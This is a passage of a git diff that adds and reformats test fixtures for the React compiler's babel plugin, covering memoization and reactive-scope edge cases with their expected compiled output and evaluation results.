+ *   <div>{"obj":{"inner":{"value":"hello"},"wat0":"joe"},"inner":["[[ cyclic ref *2 ]]"]}</div>
+ *   Forget:
+ *   <div>{"obj":{"inner":{"value":"hello"},"wat0":"joe"},"inner":["[[ cyclic ref *2 ]]"]}</div>
+ *   [[ (exception in render) Error: invariant broken ]]
+ *
+ */
+function Component() {
+  const obj = CONST_TRUE ? {inner: {value: 'hello'}} : null;
+  const boxedInner = [obj?.inner];
+  useIdentity(null);
+  mutate(obj);
+  if (boxedInner[0] !== obj?.inner) {
+    throw new Error('invariant broken');
+  }
+  return <Stringify obj={obj} inner={boxedInner} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arg: 0}],
+  sequentialRenders: [{arg: 0}, {arg: 1}],
+};
+
+```
+
+## Code
+
+```javascript
+// @enableNewMutationAliasingModel
+import { CONST_TRUE, Stringify, mutate, useIdentity } from "shared-runtime";
+
+/**
+ * Fixture showing an edge case for ReactiveScope variable propagation.
+ * Fixed in the new inference model
+ *
+ * Found differences in evaluator results
+ *   Non-forget (expected):
+ *   <div>{"obj":{"inner":{"value":"hello"},"wat0":"joe"},"inner":["[[ cyclic ref *2 ]]"]}</div>
+ *   <div>{"obj":{"inner":{"value":"hello"},"wat0":"joe"},"inner":["[[ cyclic ref *2 ]]"]}</div>
+ *   Forget:
+ *   <div>{"obj":{"inner":{"value":"hello"},"wat0":"joe"},"inner":["[[ cyclic ref *2 ]]"]}</div>
+ *   [[ (exception in render) Error: invariant broken ]]
+ *
+ */
+function Component() {
+  const obj = CONST_TRUE ? { inner: { value: "hello" } } : null;
+  const boxedInner = [obj?.inner];
+  useIdentity(null);
+  mutate(obj);
+  if (boxedInner[0] !== obj?.inner) {
+    throw new Error("invariant broken");
+  }
+
+  return <Stringify obj={obj} inner={boxedInner} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arg: 0 }],
+  sequentialRenders: [{ arg: 0 }, { arg: 1 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"obj":{"inner":{"value":"hello"},"wat0":"joe"},"inner":["[[ cyclic ref *2 ]]"]}</div>
+<div>{"obj":{"inner":{"value":"hello"},"wat0":"joe"},"inner":["[[ cyclic ref *2 ]]"]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-phi-as-dependency.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-phi-as-dependency.tsx
new file mode 100644
index 000000000000..23c1a070104b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-phi-as-dependency.tsx
@@ -0,0 +1,32 @@
+// @enableNewMutationAliasingModel
+import {CONST_TRUE, Stringify, mutate, useIdentity} from 'shared-runtime';
+
+/**
+ * Fixture showing an edge case for ReactiveScope variable propagation.
+ * Fixed in the new inference model
+ *
+ * Found differences in evaluator results
+ *   Non-forget (expected):
+ *   <div>{"obj":{"inner":{"value":"hello"},"wat0":"joe"},"inner":["[[ cyclic ref *2 ]]"]}</div>
+ *   <div>{"obj":{"inner":{"value":"hello"},"wat0":"joe"},"inner":["[[ cyclic ref *2 ]]"]}</div>
+ *   Forget:
+ *   <div>{"obj":{"inner":{"value":"hello"},"wat0":"joe"},"inner":["[[ cyclic ref *2 ]]"]}</div>
+ *   [[ (exception in render) Error: invariant broken ]]
+ *
+ */
+function Component() {
+  const obj = CONST_TRUE ? {inner: {value: 'hello'}} : null;
+  const boxedInner = [obj?.inner];
+  useIdentity(null);
+  mutate(obj);
+  if (boxedInner[0] !== obj?.inner) {
+    throw new Error('invariant broken');
+  }
+  return <Stringify obj={obj} inner={boxedInner} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arg: 0}],
+  sequentialRenders: [{arg: 0}, {arg: 1}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value-via-alias.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value-via-alias.expect.md
index ebd9f413f7d9..d0381a74c8ae 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value-via-alias.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value-via-alias.expect.md
@@ -2,13 +2,8 @@
 ## Input
 
 ```javascript
-import invariant from "invariant";
-import {
-  makeObject_Primitives,
-  mutate,
-  sum,
-  useIdentity,
-} from "shared-runtime";
+import invariant from 'invariant';
+import {makeObject_Primitives, mutate, sum, useIdentity} from 'shared-runtime';
 
 /**
  * Here, `z`'s original memo block is removed due to the inner hook call.
@@ -21,7 +16,7 @@ import {
  * The fix is to consider pruned memo block outputs as reactive, since they will
  * recreate on every render. This means `thing` depends on both y and z.
  */
-function MyApp({ count }) {
+function MyApp({count}) {
   const z = makeObject_Primitives();
   const x = useIdentity(2);
   const y = sum(x, count);
@@ -29,15 +24,15 @@ function MyApp({ count }) {
   const z2 = z;
   const thing = [y, z2];
   if (thing[1] !== z) {
-    invariant(false, "oh no!");
+    invariant(false, 'oh no!');
   }
   return thing;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: MyApp,
-  params: [{ count: 2 }],
-  sequentialRenders: [{ count: 2 }, { count: 2 }, { count: 3 }],
+  params: [{count: 2}],
+  sequentialRenders: [{count: 2}, {count: 2}, {count: 3}],
 };
 
 ```
@@ -71,10 +66,10 @@ function MyApp(t0) {
   const z = makeObject_Primitives();
   const x = useIdentity(2);
   let t1;
-  if ($[0] !== x || $[1] !== count) {
+  if ($[0] !== count || $[1] !== x) {
     t1 = sum(x, count);
-    $[0] = x;
-    $[1] = count;
+    $[0] = count;
+    $[1] = x;
     $[2] = t1;
   } else {
     t1 = $[2];
@@ -95,6 +90,7 @@ function MyApp(t0) {
   if (thing[1] !== z) {
     invariant(false, "oh no!");
   }
+
   return thing;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value-via-alias.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value-via-alias.ts
index aabd79b6320c..25e5fe2e39dc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value-via-alias.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value-via-alias.ts
@@ -1,10 +1,5 @@
-import invariant from "invariant";
-import {
-  makeObject_Primitives,
-  mutate,
-  sum,
-  useIdentity,
-} from "shared-runtime";
+import invariant from 'invariant';
+import {makeObject_Primitives, mutate, sum, useIdentity} from 'shared-runtime';
 
 /**
  * Here, `z`'s original memo block is removed due to the inner hook call.
@@ -17,7 +12,7 @@ import {
  * The fix is to consider pruned memo block outputs as reactive, since they will
  * recreate on every render. This means `thing` depends on both y and z.
  */
-function MyApp({ count }) {
+function MyApp({count}) {
   const z = makeObject_Primitives();
   const x = useIdentity(2);
   const y = sum(x, count);
@@ -25,13 +20,13 @@ function MyApp({ count }) {
   const z2 = z;
   const thing = [y, z2];
   if (thing[1] !== z) {
-    invariant(false, "oh no!");
+    invariant(false, 'oh no!');
   }
   return thing;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: MyApp,
-  params: [{ count: 2 }],
-  sequentialRenders: [{ count: 2 }, { count: 2 }, { count: 3 }],
+  params: [{count: 2}],
+  sequentialRenders: [{count: 2}, {count: 2}, {count: 3}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value.expect.md
index 22c69221af62..91e024af2825 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value.expect.md
@@ -2,13 +2,8 @@
 ## Input
 
 ```javascript
-import invariant from "invariant";
-import {
-  makeObject_Primitives,
-  mutate,
-  sum,
-  useIdentity,
-} from "shared-runtime";
+import invariant from 'invariant';
+import {makeObject_Primitives, mutate, sum, useIdentity} from 'shared-runtime';
 
 /**
  * Here, `z`'s original memo block is removed due to the inner hook call.
@@ -21,22 +16,22 @@ import {
  * The fix is to consider pruned memo block outputs as reactive, since they will
  * recreate on every render. This means `thing` depends on both y and z.
  */
-function MyApp({ count }) {
+function MyApp({count}) {
   const z = makeObject_Primitives();
   const x = useIdentity(2);
   const y = sum(x, count);
   mutate(z);
   const thing = [y, z];
   if (thing[1] !== z) {
-    invariant(false, "oh no!");
+    invariant(false, 'oh no!');
   }
   return thing;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: MyApp,
-  params: [{ count: 2 }],
-  sequentialRenders: [{ count: 2 }, { count: 2 }, { count: 3 }],
+  params: [{count: 2}],
+  sequentialRenders: [{count: 2}, {count: 2}, {count: 3}],
 };
 
 ```
@@ -70,10 +65,10 @@ function MyApp(t0) {
   const z = makeObject_Primitives();
   const x = useIdentity(2);
   let t1;
-  if ($[0] !== x || $[1] !== count) {
+  if ($[0] !== count || $[1] !== x) {
     t1 = sum(x, count);
-    $[0] = x;
-    $[1] = count;
+    $[0] = count;
+    $[1] = x;
     $[2] = t1;
   } else {
     t1 = $[2];
@@ -93,6 +88,7 @@ function MyApp(t0) {
   if (thing[1] !== z) {
     invariant(false, "oh no!");
   }
+
   return thing;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value.ts
index 1940a2ffca13..f9acd2f242cf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-pruned-scope-leaks-value.ts
@@ -1,10 +1,5 @@
-import invariant from "invariant";
-import {
-  makeObject_Primitives,
-  mutate,
-  sum,
-  useIdentity,
-} from "shared-runtime";
+import invariant from 'invariant';
+import {makeObject_Primitives, mutate, sum, useIdentity} from 'shared-runtime';
 
 /**
  * Here, `z`'s original memo block is removed due to the inner hook call.
@@ -17,20 +12,20 @@ import {
  * The fix is to consider pruned memo block outputs as reactive, since they will
  * recreate on every render. This means `thing` depends on both y and z.
  */
-function MyApp({ count }) {
+function MyApp({count}) {
   const z = makeObject_Primitives();
   const x = useIdentity(2);
   const y = sum(x, count);
   mutate(z);
   const thing = [y, z];
   if (thing[1] !== z) {
-    invariant(false, "oh no!");
+    invariant(false, 'oh no!');
   }
   return thing;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: MyApp,
-  params: [{ count: 2 }],
-  sequentialRenders: [{ count: 2 }, { count: 2 }, { count: 3 }],
+  params: [{count: 2}],
+  sequentialRenders: [{count: 2}, {count: 2}, {count: 3}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-reactivity-value-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-reactivity-value-block.expect.md
index b4a158a7acff..a34dd7fe0a97 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-reactivity-value-block.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-reactivity-value-block.expect.md
@@ -7,7 +7,7 @@ import {
   identity,
   makeObject_Primitives,
   useNoAlias,
-} from "shared-runtime";
+} from 'shared-runtime';
 
 /**
  * Here the scope for `obj` is pruned because it spans the `useNoAlias()` hook call.
@@ -29,7 +29,7 @@ function Foo() {
   useNoAlias(result, obj);
 
   if (shouldCaptureObj && result[0] !== obj) {
-    throw new Error("Unexpected");
+    throw new Error('Unexpected');
   }
   return result;
 }
@@ -71,10 +71,10 @@ function Foo() {
   const shouldCaptureObj = obj != null && CONST_TRUE;
   const t0 = shouldCaptureObj ? identity(obj) : null;
   let t1;
-  if ($[0] !== t0 || $[1] !== obj) {
+  if ($[0] !== obj || $[1] !== t0) {
     t1 = [t0, obj];
-    $[0] = t0;
-    $[1] = obj;
+    $[0] = obj;
+    $[1] = t0;
     $[2] = t1;
   } else {
     t1 = $[2];
@@ -82,9 +82,11 @@ function Foo() {
   const result = t1;
 
   useNoAlias(result, obj);
+
   if (shouldCaptureObj && result[0] !== obj) {
     throw new Error("Unexpected");
   }
+
   return result;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-reactivity-value-block.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-reactivity-value-block.ts
index 2aebe594ef4e..7a4088b8f9ca 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-reactivity-value-block.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-reactivity-value-block.ts
@@ -3,7 +3,7 @@ import {
   identity,
   makeObject_Primitives,
   useNoAlias,
-} from "shared-runtime";
+} from 'shared-runtime';
 
 /**
  * Here the scope for `obj` is pruned because it spans the `useNoAlias()` hook call.
@@ -25,7 +25,7 @@ function Foo() {
   useNoAlias(result, obj);
 
   if (shouldCaptureObj && result[0] !== obj) {
-    throw new Error("Unexpected");
+    throw new Error('Unexpected');
   }
   return result;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-scope-merging-value-blocks.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-scope-merging-value-blocks.expect.md
index c58986bbc87f..a70497fc3eb3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-scope-merging-value-blocks.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-scope-merging-value-blocks.expect.md
@@ -8,7 +8,7 @@ import {
   makeObject_Primitives,
   mutateAndReturn,
   useHook,
-} from "shared-runtime";
+} from 'shared-runtime';
 
 /**
  * value and `mutateAndReturn(value)` should end up in the same reactive scope.
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-scope-merging-value-blocks.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-scope-merging-value-blocks.ts
index dec95f512ca7..e097951fda7c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-scope-merging-value-blocks.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-invalid-scope-merging-value-blocks.ts
@@ -4,7 +4,7 @@ import {
   makeObject_Primitives,
   mutateAndReturn,
   useHook,
-} from "shared-runtime";
+} from 'shared-runtime';
 
 /**
  * value and `mutateAndReturn(value)` should end up in the same reactive scope.
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-local-mutation-of-new-object-from-destructured-prop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-local-mutation-of-new-object-from-destructured-prop.expect.md
new file mode 100644
index 000000000000..b1a0f6cbb34c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-local-mutation-of-new-object-from-destructured-prop.expect.md
@@ -0,0 +1,62 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const {a} = props;
+  const {b, ...rest} = a;
+  // Local mutation of `rest` is allowed since it is a newly allocated object
+  rest.value = props.value;
+  return <Stringify rest={rest} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {b: 0, other: 'other'}, value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(5);
+  const { a } = props;
+  let rest;
+  if ($[0] !== a || $[1] !== props.value) {
+    const { b, ...t0 } = a;
+    rest = t0;
+
+    rest.value = props.value;
+    $[0] = a;
+    $[1] = props.value;
+    $[2] = rest;
+  } else {
+    rest = $[2];
+  }
+  let t0;
+  if ($[3] !== rest) {
+    t0 = <Stringify rest={rest} />;
+    $[3] = rest;
+    $[4] = t0;
+  } else {
+    t0 = $[4];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: { b: 0, other: "other" }, value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"rest":{"other":"other","value":42}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-local-mutation-of-new-object-from-destructured-prop.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-local-mutation-of-new-object-from-destructured-prop.js
new file mode 100644
index 000000000000..a77de3177d0f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-local-mutation-of-new-object-from-destructured-prop.js
@@ -0,0 +1,14 @@
+import {Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const {a} = props;
+  const {b, ...rest} = a;
+  // Local mutation of `rest` is allowed since it is a newly allocated object
+  rest.value = props.value;
+  return <Stringify rest={rest} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: {b: 0, other: 'other'}, value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-array-with-immutable-map-after-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-array-with-immutable-map-after-hook.expect.md
index 33f1330d7e9e..95570bdcd4a0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-array-with-immutable-map-after-hook.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-array-with-immutable-map-after-hook.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
 function Component(props) {
   const x = [props.value];
@@ -12,7 +12,7 @@ function Component(props) {
   };
   return (
     <div onClick={onClick}>
-      {x.map((item) => {
+      {x.map(item => {
         return <span key={item}>{item}</span>;
       })}
     </div>
@@ -21,7 +21,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
   isComponent: true,
 };
 
@@ -34,7 +34,7 @@ import { c as _c } from "react/compiler-runtime";
 import { useEffect, useState } from "react";
 
 function Component(props) {
-  const $ = _c(11);
+  const $ = _c(10);
   let t0;
   if ($[0] !== props.value) {
     t0 = [props.value];
@@ -45,47 +45,47 @@ function Component(props) {
   }
   const x = t0;
   let t1;
-  let t2;
   if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = () => {};
-    t2 = [];
+    t1 = [];
     $[2] = t1;
-    $[3] = t2;
   } else {
     t1 = $[2];
-    t2 = $[3];
   }
-  useEffect(t1, t2);
-  let t3;
-  if ($[4] !== x.length) {
-    t3 = () => {
+  useEffect(_temp, t1);
+  let t2;
+  if ($[3] !== x.length) {
+    t2 = () => {
       console.log(x.length);
     };
-    $[4] = x.length;
-    $[5] = t3;
+    $[3] = x.length;
+    $[4] = t2;
   } else {
-    t3 = $[5];
+    t2 = $[4];
   }
-  const onClick = t3;
-  let t4;
-  if ($[6] !== x) {
-    t4 = x.map((item) => <span key={item}>{item}</span>);
-    $[6] = x;
-    $[7] = t4;
+  const onClick = t2;
+  let t3;
+  if ($[5] !== x) {
+    t3 = x.map(_temp2);
+    $[5] = x;
+    $[6] = t3;
   } else {
-    t4 = $[7];
+    t3 = $[6];
   }
-  let t5;
-  if ($[8] !== onClick || $[9] !== t4) {
-    t5 = <div onClick={onClick}>{t4}</div>;
-    $[8] = onClick;
+  let t4;
+  if ($[7] !== onClick || $[8] !== t3) {
+    t4 = <div onClick={onClick}>{t3}</div>;
+    $[7] = onClick;
+    $[8] = t3;
     $[9] = t4;
-    $[10] = t5;
   } else {
-    t5 = $[10];
+    t4 = $[9];
   }
-  return t5;
+  return t4;
+}
+function _temp2(item) {
+  return <span key={item}>{item}</span>;
 }
+function _temp() {}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-array-with-immutable-map-after-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-array-with-immutable-map-after-hook.js
index 2a6a440d5cd2..b32b696c6aeb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-array-with-immutable-map-after-hook.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-array-with-immutable-map-after-hook.js
@@ -1,4 +1,4 @@
-import { useEffect, useState } from "react";
+import {useEffect, useState} from 'react';
 
 function Component(props) {
   const x = [props.value];
@@ -8,7 +8,7 @@ function Component(props) {
   };
   return (
     <div onClick={onClick}>
-      {x.map((item) => {
+      {x.map(item => {
         return <span key={item}>{item}</span>;
       })}
     </div>
@@ -17,6 +17,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
   isComponent: true,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-for-of-collection-when-loop-body-returns.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-for-of-collection-when-loop-body-returns.expect.md
new file mode 100644
index 000000000000..bc124ff96af5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-for-of-collection-when-loop-body-returns.expect.md
@@ -0,0 +1,67 @@
+
+## Input
+
+```javascript
+function useHook(nodeID, condition) {
+  const graph = useContext(GraphContext);
+  const node = nodeID != null ? graph[nodeID] : null;
+
+  for (const key of Object.keys(node?.fields ?? {})) {
+    if (condition) {
+      return new Class(node.fields?.[field]);
+    }
+  }
+  return new Class();
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function useHook(nodeID, condition) {
+  const $ = _c(7);
+  const graph = useContext(GraphContext);
+  const node = nodeID != null ? graph[nodeID] : null;
+  let t0;
+  if ($[0] !== node?.fields) {
+    t0 = Object.keys(node?.fields ?? {});
+    $[0] = node?.fields;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  let t1;
+  if ($[2] !== condition || $[3] !== node || $[4] !== t0) {
+    t1 = Symbol.for("react.early_return_sentinel");
+    bb0: for (const key of t0) {
+      if (condition) {
+        t1 = new Class(node.fields?.[field]);
+        break bb0;
+      }
+    }
+    $[2] = condition;
+    $[3] = node;
+    $[4] = t0;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  if (t1 !== Symbol.for("react.early_return_sentinel")) {
+    return t1;
+  }
+  let t2;
+  if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = new Class();
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-for-of-collection-when-loop-body-returns.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-for-of-collection-when-loop-body-returns.js
new file mode 100644
index 000000000000..a010f3f28ccb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-memoize-for-of-collection-when-loop-body-returns.js
@@ -0,0 +1,11 @@
+function useHook(nodeID, condition) {
+  const graph = useContext(GraphContext);
+  const node = nodeID != null ? graph[nodeID] : null;
+
+  for (const key of Object.keys(node?.fields ?? {})) {
+    if (condition) {
+      return new Class(node.fields?.[field]);
+    }
+  }
+  return new Class();
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-dependency-if-within-while.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-dependency-if-within-while.expect.md
index 6438a28fdb4d..b45977b69533 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-dependency-if-within-while.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-dependency-if-within-while.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 const someGlobal = true;
 export default function Component(props) {
-  const { b } = props;
+  const {b} = props;
   const items = [];
   let i = 0;
   while (i < 10) {
@@ -18,16 +18,16 @@ export default function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ b: 42 }],
+  params: [{b: 42}],
   sequentialRenders: [
-    { b: 0 },
-    { b: 0 },
-    { b: 42 },
-    { b: 42 },
-    { b: 0 },
-    { b: 42 },
-    { b: 0 },
-    { b: 42 },
+    {b: 0},
+    {b: 0},
+    {b: 42},
+    {b: 42},
+    {b: 0},
+    {b: 42},
+    {b: 0},
+    {b: 42},
   ],
 };
 
@@ -51,7 +51,6 @@ export default function Component(props) {
         i++;
       }
     }
-
     t0 = <>{items}</>;
     $[0] = b;
     $[1] = t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-dependency-if-within-while.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-dependency-if-within-while.js
index 9b07b42fbf5b..f66224019c88 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-dependency-if-within-while.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-dependency-if-within-while.js
@@ -1,6 +1,6 @@
 const someGlobal = true;
 export default function Component(props) {
-  const { b } = props;
+  const {b} = props;
   const items = [];
   let i = 0;
   while (i < 10) {
@@ -14,15 +14,15 @@ export default function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ b: 42 }],
+  params: [{b: 42}],
   sequentialRenders: [
-    { b: 0 },
-    { b: 0 },
-    { b: 42 },
-    { b: 42 },
-    { b: 0 },
-    { b: 42 },
-    { b: 0 },
-    { b: 42 },
+    {b: 0},
+    {b: 0},
+    {b: 42},
+    {b: 42},
+    {b: 0},
+    {b: 42},
+    {b: 0},
+    {b: 42},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-memoization-lack-of-phi-types.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-memoization-lack-of-phi-types.expect.md
new file mode 100644
index 000000000000..4728226c64ce
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-memoization-lack-of-phi-types.expect.md
@@ -0,0 +1,87 @@
+
+## Input
+
+```javascript
+// @flow @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {useFragment} from 'shared-runtime';
+
+function Component() {
+  const data = useFragment();
+  const nodes = data.nodes ?? [];
+  const flatMap = nodes.flatMap(node => node.items);
+  const filtered = flatMap.filter(item => item != null);
+  const map = useMemo(() => filtered.map(), [filtered]);
+  const index = filtered.findIndex(x => x === null);
+
+  return (
+    <div>
+      {map}
+      {index}
+    </div>
+  );
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useMemo } from "react";
+import { useFragment } from "shared-runtime";
+
+function Component() {
+  const $ = _c(7);
+  const data = useFragment();
+  let t0;
+  if ($[0] !== data.nodes) {
+    const nodes = data.nodes ?? [];
+    const flatMap = nodes.flatMap(_temp);
+    t0 = flatMap.filter(_temp2);
+    $[0] = data.nodes;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const filtered = t0;
+  let t1;
+  if ($[2] !== filtered) {
+    t1 = filtered.map();
+    $[2] = filtered;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  const map = t1;
+  const index = filtered.findIndex(_temp3);
+  let t2;
+  if ($[4] !== index || $[5] !== map) {
+    t2 = (
+      <div>
+        {map}
+        {index}
+      </div>
+    );
+    $[4] = index;
+    $[5] = map;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+function _temp3(x) {
+  return x === null;
+}
+function _temp2(item) {
+  return item != null;
+}
+function _temp(node) {
+  return node.items;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
